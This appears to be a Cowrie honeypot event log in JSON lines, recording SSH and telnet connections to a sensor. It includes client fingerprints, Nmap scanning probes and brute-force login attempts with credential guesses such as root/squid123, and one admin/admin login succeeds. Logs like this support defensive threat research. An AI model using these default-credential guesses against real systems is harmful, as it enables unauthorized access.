{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:18.796331Z","src_ip":"43.128.112.183","session":"a76ef0512e37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:19.040916Z","src_ip":"43.128.112.183","session":"a76ef0512e37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":55540,"dst_ip":"10.17.0.5","dst_port":23,"session":"a24d3be965cf","protocol":"telnet","message":"New connection: 176.65.139.121:55540 (10.17.0.5:23) [session: a24d3be965cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:19.352933Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:19.646572Z","src_ip":"109.237.96.109","session":"376fd00e8631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r0cknr0ll","message":"login attempt [root/r0cknr0ll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:20.053495Z","src_ip":"43.128.112.183","session":"a76ef0512e37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.2.177","src_port":43792,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ce425a3079f","protocol":"ssh","message":"New connection: 34.79.2.177:43792 (159.203.135.109:22) [session: 4ce425a3079f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:20.112716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:20.193257Z","src_ip":"34.79.2.177","session":"4ce425a3079f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.2.177","src_port":43798,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee0d5f500328","protocol":"ssh","message":"New connection: 34.79.2.177:43798 (159.203.135.109:22) [session: ee0d5f500328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:20.348438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:20.353586Z","src_ip":"34.79.2.177","session":"ee0d5f500328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:20.432789Z","src_ip":"34.79.2.177","session":"ee0d5f500328","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:21.516937Z","src_ip":"34.79.2.177","session":"ee0d5f500328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:21.522799Z","src_ip":"43.128.112.183","session":"a76ef0512e37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:21.598355Z","src_ip":"34.79.2.177","session":"ee0d5f500328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:21.606006Z","src_ip":"34.79.2.177","session":"4ce425a3079f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.5425896644592285,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:22.895438Z","src_ip":"176.65.139.121","session":"a24d3be965cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":55544,"dst_ip":"10.17.0.5","dst_port":23,"session":"8657c5d18572","protocol":"telnet","message":"New connection: 176.65.139.121:55544 (10.17.0.5:23) [session: 8657c5d18572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:22.986962Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":38064,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e1aaf1cde1f","protocol":"ssh","message":"New connection: 43.153.56.192:38064 (10.17.0.5:22) [session: 6e1aaf1cde1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:24.429843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:24.433834Z","src_ip":"43.153.56.192","session":"6e1aaf1cde1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:24.502021Z","src_ip":"43.153.56.192","session":"6e1aaf1cde1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"squid123","message":"login attempt [root/squid123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:24.808016Z","src_ip":"43.153.56.192","session":"6e1aaf1cde1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:25.879939Z","src_ip":"43.153.56.192","session":"6e1aaf1cde1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.33.11","src_port":13108,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d9ac8389f38","protocol":"ssh","message":"New connection: 34.62.33.11:13108 (159.203.135.109:22) [session: 5d9ac8389f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:25.971012Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:26.052076Z","src_ip":"34.62.33.11","session":"5d9ac8389f38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:29.054144Z","src_ip":"34.79.2.177","session":"4ce425a3079f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":8756,"dst_ip":"10.17.0.5","dst_port":22,"session":"adc7bfdc23d0","protocol":"ssh","message":"New connection: 190.119.63.98:8756 (10.17.0.5:22) [session: adc7bfdc23d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:29.263154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:29.268409Z","src_ip":"190.119.63.98","session":"adc7bfdc23d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:29.413462Z","src_ip":"190.119.63.98","session":"adc7bfdc23d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:29.659535Z","src_ip":"176.65.139.121","session":"8657c5d18572","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxx","message":"login attempt [root/xxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:30.104584Z","src_ip":"190.119.63.98","session":"adc7bfdc23d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:31.253996Z","src_ip":"190.119.63.98","session":"adc7bfdc23d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.445922136306763,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:36.432763Z","src_ip":"176.65.139.121","session":"8657c5d18572","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":36524,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bf664bbe44e","protocol":"telnet","message":"New connection: 176.65.139.121:36524 (10.17.0.5:23) [session: 4bf664bbe44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:36.518668Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.33.11","src_port":61890,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdd582095991","protocol":"ssh","message":"New connection: 34.62.33.11:61890 (159.203.135.109:22) [session: bdd582095991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:39.504776Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:39.635917Z","src_ip":"34.62.33.11","session":"bdd582095991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:39.644407Z","src_ip":"34.62.33.11","session":"bdd582095991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.33.11","src_port":61894,"dst_ip":"159.203.135.109","dst_port":22,"session":"214026121948","protocol":"ssh","message":"New connection: 34.62.33.11:61894 (159.203.135.109:22) [session: 214026121948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:39.871409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:39.956997Z","src_ip":"34.62.33.11","session":"214026121948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.031282Z","src_ip":"34.62.33.11","session":"214026121948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.037301Z","src_ip":"34.62.33.11","session":"214026121948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.33.11","src_port":61910,"dst_ip":"159.203.135.109","dst_port":22,"session":"4969d2377564","protocol":"ssh","message":"New connection: 34.62.33.11:61910 (159.203.135.109:22) [session: 4969d2377564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.190625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.282019Z","src_ip":"34.62.33.11","session":"4969d2377564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.356434Z","src_ip":"34.62.33.11","session":"4969d2377564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.593112Z","src_ip":"34.62.33.11","session":"4969d2377564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.33.11","src_port":61914,"dst_ip":"159.203.135.109","dst_port":22,"session":"837efccbcfd4","protocol":"ssh","message":"New connection: 34.62.33.11:61914 (159.203.135.109:22) [session: 837efccbcfd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.667703Z"}
{"eventid":"cowrie.session.closed","duration":4.181401014328003,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.699970Z","src_ip":"176.65.139.121","session":"4bf664bbe44e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":36534,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b33e61b4bce","protocol":"telnet","message":"New connection: 176.65.139.121:36534 (10.17.0.5:23) [session: 7b33e61b4bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.779327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.801505Z","src_ip":"34.62.33.11","session":"837efccbcfd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.33.11","src_port":61924,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a4eeedd1d52","protocol":"ssh","message":"New connection: 34.62.33.11:61924 (159.203.135.109:22) [session: 2a4eeedd1d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.822385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.852535Z","src_ip":"34.62.33.11","session":"2a4eeedd1d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.876679Z","src_ip":"34.62.33.11","session":"837efccbcfd4","protocol":"ssh"}
